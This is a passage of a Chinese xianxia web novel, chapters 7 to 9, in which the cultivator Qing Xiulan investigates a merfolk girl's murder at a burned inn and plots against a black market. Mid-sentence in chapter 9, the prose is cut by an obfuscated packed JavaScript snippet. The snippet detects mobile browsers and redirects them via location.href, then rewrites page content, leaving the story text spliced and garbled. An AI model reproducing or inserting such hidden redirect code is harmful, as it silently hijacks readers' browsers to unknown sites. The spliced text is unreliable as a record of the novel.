席梵就站在清休澜旁边,反应不及,没赶在暴雨落下前开结界,被淋成了只“落汤鸡”,连头上的“羽毛”都耷拉了下来,再看地面上的不少修士都及时开了结界,更是气不打一处来。 “我说,你故意的吧。”席梵落脚那只蓝色蝴蝶被暴雨打湿了翅膀,飞不起来了,转瞬间缩小了几倍,变成了一只正常大小的蝴蝶,软绵绵地趴在席梵指尖。席梵面色难看,他抬眸看向清休澜,蓝眸中似有危险的光芒在闪动。 清休澜像没查觉到席梵一闪而过的杀意一般,将这只“落汤鸡”从头到脚打量了一番,然后彬彬有礼地说道:“此话怎讲。阁下难道是如应听声一般手无寸铁之力的孩童,还需要大人照顾?如此,那倒真是清某考虑不周了,下次我一定提前告知于你,让你早早找个房檐躲雨,如此可好?” 这话说的实在欠揍,换清休澜肯定是忍不了的,更别提席梵。他原本都做好和席梵打一场,刚好可以探探对方的底的准备了,哪曾想,席梵右耳那只蓝色蝴蝶样的装饰闪了一瞬,一瞬间从蓝色变为了烈火般的红色,随后立刻变回了原本的蓝色。而席梵在察觉到蝴蝶闪烁后,就像年幼的孩童得到了想要的糖果一般,瞬间冷静了下来,深深看了清休澜一眼,一言不发地离开了。 7. 泉客 这倒是让清休澜有些意外,不过席梵走了倒也省事。 让席梵气极的暴雨对于其他人而言却如同天降甘霖一般——特别是客栈掌柜,看他的表情像是想直接给清休澜磕一个。损失是必然的,但越快阻止火势蔓延,就能减少越多额外损失。 得救的人群逐渐在琉璃灯下聚集,大部分是些平民百姓,为首那几个皮肤黝黑、穿着补丁短衣的男人已经跪了下去,闭着眼,口中念念有词地说着些什么。而原本就站在周围的修士也并未离开,反而都饶有兴致地观察起清休澜,眼神像在看什么“出逃的灵兽”一样,看得清休澜一阵恶寒。 清休澜微微眯起眼,被一群人围在最中间,议论得最大声那个年轻人便感到一阵冲击,感觉就像被一只百余人长的巨鲸从身上碾过一般,突如其来的威压让他当场跪了下去,差点把今早还没消化的早饭吐出来。站在他周围的人被余威波及,本还想伸手扶他一把,一动却觉得天旋地转,好像刚喝完五十斤酒一般,自顾不暇。 年轻人莫约是哪个小宗门宗主的心间宝,从小就要什么有什么,就连下山历练都要带着一群人,也不知道是来游历还是来春游的。他喘着粗气,面红耳赤地从地上爬了起来,在自家宗门里呼风唤雨的小公子长这么大哪里受过这种委屈,当即拔出手上那把挂了七八条镶着宝石的剑穗的剑来,就要去给清休澜一点教训,完全无视了周围人劝阻的眼神和动作。 “你是何人,见了我还不自己报上名来?”即便自己才是被俯视的人,年轻人还是趾高气扬地朝清休澜一颔首,语气满是自信:“我看你根骨清奇,叫我一声大爷,我叫我爹破例让你直接进我们碧落宫修习,怎么样啊。” 果然是未经世事的年轻人,真老虎纸老虎都分不出来。清休澜站得有些高,雨声削弱了人声,那年轻人又不会传音入耳,扯着个嗓子纯喊,这一长段话清休澜就听见个“碧落宫”,莫名其妙地看了他一眼,回身进了传送阵,留下那年轻人独自唱那“独角戏”。 正当清休澜思考是再找一个客栈暂时休整,还是直接去凌月剑宗时,却听见应听声略有迟疑地对他说:“前辈……好像有人死了。” 清休澜没在意,“嗯”了一声,随口答道:“火势太猛,没跑出来的自然凶多吉少。” 应听声却摇了摇头,道:“我是说……在起火之前,好像有人死了。” 传送阵落在了一处阳光明媚的草地上,从高处远远望去还能看见尚未散去的乌云和黑烟。清休澜将应听声放在一处平坦的地上,扶稳了他,抬眸问道:“为什么这么说,你看见什么了。” “不是看见的,是听见的。” 应听声说,他在睡梦中隐约听到周围传来说话的动静。起初他还以为是清休澜像昨晚一样在和别人说话,但说话的声音却越来越大,甚至还夹杂着骂声和桌椅碰撞声,似乎还有女声,应听声这才发觉这根本不是清休澜的声音,骤然惊醒,侧耳细听起来。争吵声离得极近,好像就在旁边的房间里一样,但应听声始终没能听清那几人在争论什么。 突然,旁边传来一声利器刺入□□的闷响,紧接着就是一声被压抑的痛呼,应听声清晰地听见那人骂了一声“安静些”,另一个男声喊了句什么,碰撞声和脚步声不断,伴随着一阵一阵沉闷的拍打声,最开始痛呼的那人的声音慢慢弱了下去,只余脚步声未停。 应听声就像一座冰雕一样一动不敢动,不知过了多久,他听到最开始的女声有些含糊不清,却异常坚定,一字一句的“诅咒”:“肮脏的人类,玷污泉客之躯,罪无可赦,海涅斯特拉绝不会袖手旁观……” 女声渐弱,后面的话应听声没有听清。 听到这清休澜蹙起了眉,等应听声说完之后认真问道:“你确定她说的是‘泉客’?会不会听错或者混淆?” 应听声否定了清休澜的猜测,道:“这两个字的组合不是常用词,我听得很清楚,就是‘泉客’。” 闻言,清休澜浅叹一声,无奈道:“如此,那看来我还得回去一趟——你要和我去,还是我在附近找家客栈让你待着?” 应听声立刻像拨浪鼓一样摇了摇头,“疑似见证一场凶杀案”以及“一场突如其来的大火”已经将应听声独自待着的勇气消耗得一干二净。跟着清休澜虽然会比较“刺激”,但看起来比独自留在某个地方要安全得多。 清休澜点头,也没多劝,顺手给应听声换了套干净衣服后,再次捏了个传送阵。这次他终于记得设隐匿阵,避免了某些场面再次发生。 应听声紧跟在清休澜身后,问道:“前辈,‘泉客’是什么?” 穿过传送阵来到客栈之后,大部分修士已经离开了,普通平民也相互搀着往不远处的小城镇去,客栈前只留下了原本就在客栈打工的几个店小二和掌柜,以及跪在地上痛哭的妇人和在低声安慰她的丈夫。 清休澜没回头,只微微向后伸了伸手,应听声便动作自然地握了上去,而后才觉不对,可惜为时已晚。 “‘泉客’是一种生活在深海中的,古老而神秘的生物。在凡间,他们还有个广为人知的名字……” 清休澜往右边侧了侧头,轻声道:“……唤做‘鲛人’。” 在二人踏入客栈落雨范围,被依旧飘在空中的细雨沾染时,被染上潮意的地方逐渐由内而外泛起蓝光,变得透明。头发、衣服、皮肤,应听声感到一股刺骨的寒意,几息间,二人就变成了半透明的“雪娃娃”。雨雪将二人的痕迹掩盖,不但人群对他们视而不见,就连客栈的墙壁都像“没看到”他们一样,任由二人从中穿过。 应听声眨了眨眼,他想起很久之前娘亲给他讲那个的关于“大海与鲛人”的故事,问道:“鲛人?那不是……” 清休澜点头,伴随着似有若无的雨声,他开口道:“鲛人是一种数量稀少而尊贵的生物,他们掌管着海洋。大部分鲛人终身都只在大海中活动,也有一小部分鲛人会选择上岸,过人类过的生活。在人间,鲛人的眼泪、鳞片、头发,甚至是鱼尾上的粘液,都有极高的价值,所以生活在人间的鲛人很少会暴露自己的身份,那样太过危险。” 客栈上楼的楼梯已经被烧毁,清休澜左右看了看,带着应听声向上浮去,接着说道:“天机宗向来与鲛人交好,如今有一只鲛人死在我眼前,哪怕只是‘疑似’,也值得我去亲眼察看一二。” 应听声颇为新奇地看着自己像游泳般能自由地向上向下游动,清休澜便松开了手,任他自己体验,自己朝着他们昨晚那间房飘去。 “我听娘亲说,鲛人生气可掀海浪百余丈,毁天灭地,极为危险。前辈是为了天下苍生,所以要给鲛人们一个交代,让他们不要发怒,危害人间吗?”应听声像只青白色的鱼一样绕着清休澜打转,也不嫌头晕。 清休澜像听到什么有趣的笑话一样笑了一下,有些诧异地看向应听声,问道:“‘为了天下苍生’?我看起来像这种人?” 应听声倒立着飘在清休澜眼前,眼眸清澈而明亮,漆黑的眼底闪烁着细小的白色星光,清休澜倒映其中,无悲无喜。他点了点头,回答道:“像呀。前辈总把什么‘命数’、‘天命’之类的挂在嘴边,想必是很看重。而那‘天下苍生’不就与每个人的命运息息相关吗?所以前辈如果是因为‘命运’将我带走,那不也是为了‘天下苍生’?” 这番“诡辩”倒还说得头头是道,换个人说不定还真被说服了。可惜清休澜一直觉得“天命”就是狗屁,应听声口中“看重天命”这一前提条件就不成 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“哦?看看这是什么,一道用来控制强大灵宠的禁阵,稀奇。”清休澜走上前,观察起地面上发着光的蓝色法阵来。 应听声在门框旁探出了半个头,问道:“前辈,这是什么?是、法阵?” 随着时间流逝,慢慢地,房间内除了地上的法阵外,出现了另一条线索——地上、墙上,目光所及遍布混杂着猩红的蓝色不明液体。清休澜抬手轻轻一抹,沾在他手指上的蓝色液体便突然燃烧起火焰,又立刻被清休澜捏灭,“是已经失传的禁阵。古书中记载,‘南有凶兽,百人共攻,莫能制之。施以锢阵,方才驯服’。这‘锢阵’便是你现在看到的法阵。后来,有人发现这法阵也能用在人身上,使人灵力俱失,动弹不得,有违道义,便将其列为‘禁阵’。” “方才我就在疑惑,虽然鲛人在陆地上不如在海中强大,但毕竟是海中霸主,断不可能被人类杀害。但如果她被刻上了这禁阵,那确实没有还手之力,双拳难敌四手了。” 闻言,应听声好奇地往前走了两步,想要仔细观摩观摩这法阵,却不小心踩到了一滩地上的蓝色液体,瞬间,青蓝色的火焰就顺着应听声的衣摆往上烧去。 应听声惊呼一声,就要伸手去拍,被抬起头的清休澜微微发光的金眸一瞥,就立刻被定住了身形。清休澜一个响指熄灭了应听声身上的火焰,道:“想死你就碰,鲛人血易燃易爆难掩,没有灵力护体,碰一下就能把你的手融成一滩血水。” 说完,应听声就感到身体一松,自己重新掌握了身体的控制权,却是不敢再乱走乱碰了,慢慢退回了门外,心有余悸道:“鲛人血?既然流了这么多血,那,怎么没看见……呢?难道被带走了?” “尸身?”清休澜也不知道这小孩不但听了半喇“作案过程”,甚至连“现场”都看了,还在避讳些什么,补上了他话语中的空缺,然后答道:“鲛人一族,只要不是在海中死亡,就不会有尸身。他们的身体会化作细水消散在天地间,再不入轮回,灵魂则会作为最纯净的魂体进入阴阳司,化作一株鲜红的……曼珠沙华。” 说着,看着面色惨白的应听声,清休澜又补充道:“你可还记得刚出传送阵时那阵格外刺骨的雨?” “那不是前辈施的法吗……”应听声语气越来越弱,抱着双臂,慢慢往后退。 清休澜直起身,随着应听声退后的动作一步一步往前,道:“到现在,你还不明白那是什么?” 应听声浑身一颤,撞上了走廊的橼栏,退无可退。 随后,清休澜走到了应听声前方,慢慢俯下身,凑到应听声耳边缓缓地轻声道:“那是她在对你说:我恨,我好恨啊。” “我好恨啊。”一声幽怨的女声和清休澜的声音重合,近在耳畔。 8. 溟市 应听声全身的寒毛都炸了起来,觉得自己简直变成了只刺猬,猛地抬头看向清休澜身后。 清休澜反应更快,在听到声音的一瞬间就出手捏了个没有伤害的隔绝结界,一道淡白色、模糊不清的影子逐渐出现在结界之内。她有着一头乌黑的秀发,眼眶却是空洞的,就连鲛人最绚丽多彩的耳鳍和鱼尾也都黯淡无光。一行血泪从她的左眼缓缓流下,面色惨白,浑身上下充斥着发着光的白色斑点。清休澜目光下移,一条巨大的、破烂不堪的璨金色鱼尾代替了人类的双腿——正是一条生活在人世间的鲛人。 鲛人女孩似乎对这道困住自己的结界很是不满,面色一狰,就要扑上前来,被清休澜轻飘飘侧身躲开。 清休澜往前一步,挡住了应听声,道:“姑娘,冷静些,我们可不是你的仇人。相反,我们是来帮你的——或许,你想报仇吗?” 鲛人女孩的身体已经消散,如今留在这的只是几缕残缺不堪的魂魄。没有眼珠,她的目光也不知聚焦在何地,就连清休澜的声音都带着空灵的回音,但她依旧捕捉到了自己所求的字眼。她缓缓转向清休澜,然后摆动挂着碎肉的鱼尾,游到了清休澜身边,在他身上嗅了嗅,似乎在确定些什么。 “你身上没有恶臭。回答我的问题,否则,你们一个也别想离开。”女孩越过清休澜,凑到了应听声身边,道:“我闻到过你的味道,你是谁?” “他只是一个孩子而已。”清休澜淡淡回答了女孩的问题,道:“能够帮助你的,只有我。你应该问我,需要付出什么才能让我帮你。” 女孩闻言笑了起来,黑发散在脑后,就像在深海中一样飘在空中,随着水流晃动着,她伸出手,隔空轻轻点了点清休澜,然后说道:“他是一个孩子,也是一个人类。你也是。我不再信任人类了,就算没办法报仇,也断然不会轻易放你们离开。” 这番话无疑让人恼火,清休澜却点了点头:“很谨慎。既然你不信我,那你是否相信你的同族?” 女孩微微眯起了眼,似乎在判断清休澜所说的真实性,却见清休澜一挥手,她警惕地往后退了一步,撞上了身后的结界。那面水镜再次被召唤了出来,镜面波动,几息后,另一个女孩的身影逐渐显现。 凉倾慵懒的声音从水镜中传来:“哈——希望你在大早上给我发传讯是有要紧事,否则你得赔我难得的休息时间。” 清休澜再次点了点头,将水镜转向皱着眉的鲛人女孩,说道:“要紧事。” 凉倾半躺在软榻上,缓缓睁开那双如海面般波澜的蓝色眼眸,问道:“什么要紧……”话音在看到鲛人女孩破碎的鱼尾时顿止,紧接着凉倾瞬间从软榻上起身,一字一句道:“谁、干、的?” “不知道。你认识她吗?”清休澜将水镜放大至半人高,然后往前一推,让水镜朝着女孩飘去。 “不。”凉倾仔仔细细地在脑海中搜索了一遍,确定自己从未见过这位同族的鲛人女孩,蹙眉问道:“你是我的同族,但我从未见过你。你来自哪一片海域?” 女孩沉默了两息,轻声试探道:“海涅斯特拉……”这句话不是用人类的语言说的,而是用晦涩难懂的鲛人语。鲛人语从不外传,自然也无书可查,除了正宗鲛人之外,人类绝对听不懂她在说什么。 如女孩所料,水镜中的凉倾听完之后没有言语,女孩自嘲一声,左手覆上一层坚硬的鳞片,就要捏碎面前的水镜,却听到凉倾用鲛人语开口道:“海涅斯塔拉?这是西方的海神,你来自西方?” 女孩动作一停,空洞的眼眸亮了一瞬,语气骤然放松,答道:“你真是……我的同族?!我以为这里只有我一条鲛人。你还好吗?你的故乡在哪儿?” 见凉倾已经取得了信任,清休澜便不动声色地收回了结界,站在原地静静听二人对话。 凉倾一眨眼,面上就浮现出点点淡绿色的鳞片,一道绚烂,与女孩略有不同的耳鳍出现,她开口:“我很安全。我的故乡也离这不远。告诉我,是谁杀了你,我替你报仇。” 鲛人的数量在不断减少,在濒临灭绝的今天,每一位同族都显得尤为珍贵,这是所有鲛人共同认可的。因此,就算并不是同一片海域的鲛人,她们也还是同族,凉倾无论如何也不可能将此事草草揭过。 清休澜往前走了一步,鲛人女孩立刻抢过水镜,眼中警惕不减。 “别害怕。清休澜是我的朋友,他值得信任。”凉倾看见了鲛人女孩灵魂的惨状,明白她的顾虑,道:“你叫什么名字?我来找你。” 就像在寒夜中得到了一丝温暖的火光一样,鲛人女孩对凉倾极为信任,闻言眼中的防备渐弱,答道:“我叫‘皮尔卡娅’,在我们的国度,这是‘灿星与烈火’的意思。你的朋友灵魂的味道……不臭,我相信你。” 皮尔卡娅抬眸,朝清休澜微微俯下身,道:“我为我之前的失礼道歉,请原谅我。” 清休澜摇了摇头,道:“你没有错。你既神志清醒,可知道自己的仇人是谁?” 皮尔卡娅点头,正想开口,地上那道蓝色的法阵却突然亮起了光芒,无数双半透明的手从法阵中伸出,有的握住了她的鱼尾,有的扯住了她的头发,更是有三四双手死死捂住了她的嘴巴,一个篆体的“禁”字浮现,意味明确。 不可言。 “什么。”凉倾并不精通法阵,到现在才注意到地上那道诡异的阵法,即便不知道这阵法具体的效用,只看皮尔卡娅的现状,也能猜出一二来,她闭上眼,用神识穿过水镜,凝成人形,缓缓落在皮尔卡娅身边。 凉倾一伸手,原本被她戴在头上的,名为“折湛”的簪形法器就出现在了她的手中,逐渐变大,最终变为一把半人高的法杖,一枚蕴含大量生命力的圆形绿色宝石浮在法杖顶端,慢慢转动着。凉倾逐渐飘向空中,运转起折湛。随着凉倾的动作,无数翠绿色枝条凭空出现,从下往上缠绕住了那些半透明的手臂,与未知的力量抗衡着。 “这是……什么!”那些缠在皮尔卡娅身上的手臂比凉倾想的还要坚固,难以撼动。凉倾毕竟不是攻击力量型的法师,此时便稍显乏力。 “凉倾,松开。”清休澜眉心一动,快步上前,阻止道。 凉倾诧异地回头看向清休澜,还没来得及询问,更多手臂便从法阵中窜出,张开掌心,直直冲向凉倾。 异变突生,凉倾慢了一拍,此时再回防已然不及,手臂直逼凉倾眉心,像是想将她的脑袋捅个对穿。 危急关头,一道散发着冰雾的细弦破空而出,堪堪拦下了数只手臂,凉倾右侧长发被割断了几缕,轻飘飘地落了下来,一道细小的血痕出现在凉倾眼下。被细弦穿透的手臂刹那间便被冰雪覆盖,随后碎裂成无数细小的灵力碎片,重新落回了地上的法阵中。 “抱歉,事急从权,你还好吗?”微霜戒不知何时又出现在了清休澜右手间,他放下手,收回了细弦,往前走了两步,在皮尔卡娅身边停了下来,抬眸看向那些半透明手臂。 凉倾摇头:“我没事,这些是什么?你有办法吗。” 折湛从空中落回了凉倾手中,变回了发簪,被凉倾重新戴回了头上。 “很遗憾,我只知道这是什么,却不知道如何破解。”清休澜简单向凉倾解释了“禁阵”,道:“不过这些手臂是在皮尔卡娅试图告诉我们一些事时突然出现的,既然法阵说‘不可言’,那么——” 清休澜看向皮尔卡娅,道:“现在,不要再去想你刚刚想告诉我们的事,清空思绪,放轻松,告诉法阵‘你会安静’。” 皮尔卡娅阖上了空洞的双眸,缓缓垂下头,不再挣扎。几息后,那些半透明手臂像是确认了她不再构成威胁一样逐渐放松了下来,缓缓从她的身上退了下来,重新匿回了地上的法阵当中。 “……谢谢。”重获自由后,皮尔卡娅哑声说道:“看来我帮不上你们 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法阵安安静静,就连皮尔卡娅也投来了一个疑惑的眼神。凉倾忍不住插话道:“慢着慢着,溟市我也知道,一个神秘交易场所,据说‘只要你想要的东西真真正正存在于世,那么你就一定能在溟市找到’,但……这和凌月剑宗有什么关系?” “关系可大了。”清休澜竖起两指,被他的食指中指夹在中间的,是一枚蓝白色,指甲盖大小的珠子,细看之下还能在珠子中看到汹涌的海浪,他问凉倾:“你可认得?” “云浪珠?”作为凌月剑宗标志物的云浪珠并不难认,但只有内门弟子才能够拥有的云浪珠如今出现在清休澜手上,那可就太引人深思了。 清休澜颔首,道:“不错。略过前情,简而言之,我怀疑这颗云浪珠的主人就是你的‘买家’——你死于地上这道禁阵,对么?” 皮尔卡娅点头,禁阵没有动静,看来“死因”在它看来不属于“不可言”的范畴,她说:“我不认识什么‘云浪珠’,也不认识‘凌月剑宗’,但我杀了他。鲛人宁死,不为奴。” “为民除害。”清休澜将那枚云浪珠收了起来,给一脸茫然的应听声解释道:“虽然我们并不知道凌月剑宗是否私下和溟市有联系,但既然凌月剑宗的人出现在这,还被皮尔卡娅所杀,那他一定参与了这场关于‘鲛人’的交易。那他会是买家还是卖家呢?如果皮尔卡娅从未见过云浪珠,也从未听说过凌月剑宗的话,他就一定是买家。凌月剑宗的人会不会驱动禁阵我不知道,但给皮尔卡娅设下禁阵的,属于溟市的人,一定会。” “那么一场交易中,为什么会走到驱动禁阵杀死‘交易物’——为我的冒犯致歉——那一定是卖家觉得这场交易已经脱离了掌控,并且危及到了自己的生命。死道友不死贫道,驱动禁阵杀死皮尔卡娅,自己放一把火将买家和所有痕迹都烧得一干二净,再逃之夭夭——这样一想,是不是很合理。” “可是……凌约剑宗买一条鲛人做什么?”应听声几天前还在为了一口吃的摸爬滚打,转眼间居然站在一场凶案现场见证如今修仙界宗门之首劲爆的“内料”,真是世事无常,也不知道该说他运气好还是运气差。 “傻孩子。”清休澜伸手在应听声脑门上轻轻一弹,叹道:“你不能把‘凌月剑宗的弟子参与灰色买卖’直接简化成‘凌月剑宗参与灰色买卖’,这不成立。如果凌月剑宗内部已然腐烂至此,何必再派个弟子出来?直接将交易地点定在宗内不是更方便,还全是自己人,不用担心保密问题——凌月剑宗,月亮的月,不是凌约。” 皮尔卡娅点点头,肯定了清休澜的所有推测。 理清思绪后,凉倾神色冷了下来,道:“我会去杀了那个在外逃窜的‘卖家’。” 清休澜听后却是笑了起来,应听声甚至能够感受到搭在自己肩上的那只手笑得在微微颤动,他笑着道:“光杀一个‘卖家’有什么用。要杀就杀个大的——” “整个溟市从此消失,你觉得如何。” 9. 言灵 这番话实在太过狂妄,就连不明觉厉的应听声都微微睁大了双眼,皮尔卡娅也惊讶地看向清休澜,摇了摇头:“如果可以,我一定支持,但这想法实在过于螳臂当车了。你不了解……” 说到这,法阵又开始震动,皮尔卡娅及时止住了话音,再次摇了摇头。 反倒是最在场最了解清休澜的凉倾眼神一动,道:“你这个胆大妄为的计划……我喜欢死了!”凉倾一拍双手,就像饿了三天的牛看到青草一般,她兴致勃勃地唤出一份修仙界地图,正想说些什么,脸色突然一变,转过身厉声斥道:“谁?!” “抱歉,叨扰各位了。”来人身着一身白衣,却罩了一层殷红的薄纱披风,他站在离众人不远处的门框旁,客客气气地朝清休澜等人行了一礼,端的一副翩翩公子的气度,耳上鲜红的耳坠却极尽张扬。他温温和和地介绍道:“在下名习千瑜,是听闻那有名的‘浮云山神兽’,前来一探究尽的,几日前曾借住于此,没曾想从那空无一物的山上下来后,存放行李的客栈却被大火烧毁了。” “旁的倒也罢了,可在下有一珍贵之物存于客栈,因此,哪怕寻回的机会微乎其微,也不得不来尝试一二。刚一进客栈,就听见楼上传来人声,在下以为是在清点剩余物品的店家小二,便冒昧寻了上来,并非有意打扰诸位,真是罪过。” 凉倾冷冷看着这位突然出现的公子,说话文邹邹的,连武器都没有,实在不像是会独自上一座荒山探寻“传说”的人——说他是书院里的教习先生听起来还更可信些。凉倾活得久,自然不信这个出现得恰到好处的陌生人的任何一句说辞,质问道:“敢问习公子,既然是‘珍贵之物’,怎么不随身携带,却放心地将其留在一家客栈内呢?” 习千瑜吃了个冷脸也没有恼怒,依旧是那副温和的样子,又朝凉倾拱了拱手,答道:“姑娘有所不知,这‘珍贵之物’其实是在下游历诸地的纪念品。有在徽州买的字画,也有万花乡采摘的鲜花所制成的干花书签,还有……”他伸出手,手中是一枚圆润的桃核,看起来是吃完桃子之后清洗过保存的。 “在下虽没见到浮云山上那‘神兽’,倒是遇到了棵结了果的桃树,不知主人是谁,那时在下又饥渴难耐,只得摘下了一枚桃子解渴,在地上留下了些许钱财,当作这桃是在下买下的。吃完后,在下留下了这枚桃核,就当是‘浮云山之旅’的纪念品。这样的纪念品,在下收集了很多,带在身上总归不便,就像以往那样将装有纪念品的箱子留在了客栈,自己轻装上阵,哪曾想……”说到这,习千瑜的眼中流露出一丝真切的悲伤和遗憾,轻轻地叹了口气,不再言语。 “恕我冒昧,习公子。”清休澜开口,金眸微不可察地亮起,道:“你方才……都听到了些什么?” 原本微低着头的习千瑜不由自主地朝着清休澜的方向望去,眼眸略显模糊,言语依旧清晰:“在下听到……‘螳臂当车’,和‘胆大妄为的计划’……” 清休澜眸中光芒更盛,问道:“习公子,当真只是冲着‘神兽传说’而去,没有其余‘打算’,也不认识我们中的任何一个人?” 习千瑜慢慢点了点头,嘴唇上下动了动,最终还是无法抗拒般开口答道:“不全是……‘探寻神兽传说’只是打发空闲时间,在下在等浮云山两日后启程,目的地是凌月剑宗旁的灵崖山的那一艘影灵舟,准备去拜访一位故友。在下从未见过诸位中的任何一人,更不相识。” 此人一不与清休澜等人相识,二不与这里发生的事相干——硬要说有关系的,可能只有“拜访凌月剑宗故人”这条沾点儿边,虽说出现的时机有些巧合,但理由却合情合理——只是那装有纪念物的箱子估计已经被烧干净了,无法查证。 “你确定自己叫‘习千瑜’,确定这你确实拥有那‘纪念箱’吗?”清休澜眸中光芒不减,落下最后一问。 “是的。” 习千瑜僵硬地点了点头,略显呆滞无神的眼眸却依旧盯着清休澜,目光没有随着点头的动作而从清休澜身上离开一分一毫。下一瞬,宛如拨开云雾见天明般,他的眼眸重新亮了起来,生机再次出现在他的眼中。 “你要找的东西,应该已经不在了,我感到很遗憾。而我们也并非什么店小二,帮不上你什么,抱歉了,习公子。”清休澜眸中的光芒渐渐散去,他微微俯身,回了习千瑜一礼,没有与他多说的意思。 习千瑜就像遗忘了一段记忆一般,没有对方才堪称质问的谈话发表任何意见,只无奈地点了点头,转身离去了。 待脚步声远去后,凉倾才低声问道:“有异么?” 清休澜摇头:“言灵术没有受到阻碍,他说的应该是真的。或许吧。” 言灵术非天机宗一家独有,人人都修得,但实际愿意花费时间去修习的人却不多,只因言灵术是可以反过来影响施咒人的。一旦施展不当,就很可能成为“螳螂捕蝉,黄雀在后”的“螳螂”。 更何况言灵术难修更难精,这样吃力不讨好的咒法众人自然不买账。不过清休澜却觉得“言灵”一术应是“窥天八十一术”之首,用得好,便无往不利,因此,将其修得炉火纯青,旁人难及。 “但也不好说。方才虽然顺利,我却总有种‘使不上力’的感觉,没有实证,只是我的个人感觉。”清休澜微微蹙眉,以往使用言灵术时,除了像沈灵带回来那小孩一样罕见中的罕见体质,还从未有人能给清休澜带来方才这样的感觉。天机宗的人体质通灵,又常年修习“窥天机”、“探天命”之类的术法,预感、第六感都准得不行,虽然清休澜说是“个人感觉”,却可以当作半个事实看待了。 凉倾是知道清休澜言灵术的厉害的,还是第一次看到清休澜也有拿不准的时候,立刻明白了事情的严重性。她并未在那位习公子身上察觉出携带了防御法器的痕迹,如果不是哪个别有用心的宗门特意针对清休澜研究出了能够抵挡言灵术的法阵的话——凉倾摇了摇头,不再深想,问清休澜:“你的意思是,他有可能是装的?那也太……” “如果他真的听到了什么不该听的,那就断不能放他走,我去将他‘留下’。”皮尔卡娅的双手化为了带着锋利鳞片的利爪,一甩尾巴就要去追,被清休澜一声喊停。 “如何留得,杀了他?” “有何不可?!他离开这,就是一个不稳定的变数,不能,不除。” 清休澜叹了口气,抱着手闭上眼用食指轻点了两下额角,道:“要是什么事都能用‘杀戮’解决就好了,这个世界的诸般烦恼对我而言就会变得无比不值一提,可惜,不能。他杀不得。” “这世上还没有什么能够‘瞒天过海’瞒过言灵术的法阵或者法器,至少我还不知道。如果方才那习公子是装的……那他的来头可不小。我们目前对他的来历、他背后的立场、他的目的都一无所知,实在太被动了,这样的情况下贸然出手只会打草惊蛇,节外生枝。不如放他离开,以不变应万变。毕竟浮出水面的敌人,可比潜藏在黑暗中的敌人好对付得多。”清休澜打了个响指,道:“所以,我们只要装作没有察觉,继续计划就好。如果他的目标是我们,或是那个不可言的地方,他就一定会再次出现。” 皮尔卡娅听罢,沉默了两息,随后转头看向凉倾。凉倾用左手托着下巴思考着什么,察觉到皮尔卡娅的视线,她抬眸给了皮尔卡娅一个淡淡的微笑,然后点了点头。皮尔卡娅闭上眼深吸了一口气,缓缓吐出,双手上锋利上的鳞片逐渐褪去,算是接受了清休澜所说的计划。 人死后,若有执念,灵魂便不会飘向掌管生死轮回的阴阳司,而是会短暂停留在人世,执念散去后,方才会转世重生。但灵魂并不能在人世间久留,因为记忆和魂体会随着时间像落下的雨点般消散,归于天地,化为尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105628|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土,不再转世,永恒地停留在执念之地。众人将因为执念消散在人世间的灵魂称为——尘客。 皮尔卡娅正行走在尘客的路上,虽然她在心脏停跳时就已经失去了轮回的资格,但灵魂能安心去往阴阳司总归比带着恨意与不甘消散好——好歹也算有个归处,否则天地之大,何处为家? 既然凌月剑宗与溟市,以及那位神秘的习公子都有联系,那么先去凌月剑宗调查一二是不错的选择——反正清休澜原本也要去一趟的。至于怎么去……对此,清休澜有些无奈,头疼地看着身前的小崽子。 正当清休澜思考之际,皮尔卡娅和凉倾交流了两句,随后凉倾走了过来,在清休澜面前挥了挥手,然后指向另一侧,似乎是有话想单独和清休澜说。 清休澜跟着凉倾走到一旁,看着她不动声色地设下一个阻音阵,开口问道:“怎么了。” 凉倾开门见山地问道:“大约半盏茶前,我身上的灼烧感再次恢复了,你也是吗?” 闻言清休澜倒是一挑眉,答道:“你不说我都没发现——有,但不太明显。”说着,他转头看向说了句什么把皮尔卡娅逗笑了的应听声,道:“可能是因为我就在那小孩身边吧。” 说完,清休澜收回了目光,对凉倾道:“皮尔卡娅与溟市一事,我去即可,你不必去。” 鲛人天生喜阴喜湿,离不得水,更不耐热耐燥,凉倾身为鲛人一族,对天机宗独有的这灼烧感更敏感些,比清休澜难受了不知多少倍。她简直想把全身的骨头都挖出来泡到水里,看看会不会水分被烈火蒸发般冒出“滋滋”白气。 但凉倾听到清休澜这么说,面上却依旧带着一丝忧愁,她偏头看向正用泡泡逗应听声玩儿的皮尔卡娅,眼神中流露出一丝担忧,“我不是不信任你。我知道,你向来一诺千金,从未失约过。只是……我身为她的同族,在这种时候却不能陪伴在她的身边,让我难以忍受。”她抬手捂住自己的心口,道:“我的心脏正在被鞭挞,如果因‘难以忍受烈火’而轻易离去,余生,我将再无颜面对我的母亲,和那位远方的海涅斯特拉大人。” “这件事,你和皮尔卡娅说了吗?” 见凉倾摇头,清休澜便轻声道:“如果皮尔卡娅知道你这般也要跟去的话,她也会难以忍受。你们鲛人一族的事,我不便插嘴,但我想,她理应拥有知情权。去和她聊聊吧。” 阻音阵缓缓消散,清休澜伸出手背轻轻往凉倾身后一推,就像蝴蝶的翅膀扇动,刮起一阵微风一般,凉倾回过头看了清休澜一眼,然后点了点头,朝着皮尔卡娅走去。 清休澜则走到一旁,伸手戳破了那个带着流光的巨大泡泡,解救了在泡泡中打滑的应听声,随后拉着他的手将他带到了走廊之上,还顺手给房间里的两人罩了层结界,接着半撑在完好的那节橼栏上眺望远方。 应听声走到清休澜身旁,踩上了一节靠下的橼栏,勉勉强强将自己挂在最高的那节橼栏上,然后偏头问清休澜:“前辈,我们要去凌月剑宗了吗?”他“月”字咬得很重,似乎在刻意纠正自己的读音。 清休澜将视线从远方收回至身侧,“嗯”了一声,算作回答。 应听声又问:“那我们怎么去?” 清休澜答道:“坐船吧。你晕船吗?” 应听声摇了摇头,也不知道是在说“不晕”还是“不知道”,他也没有进一步解释的意思,反而问道:“我们为什么不像刚才那样‘咻’一下过去?” “传送阵?”清休澜问道。 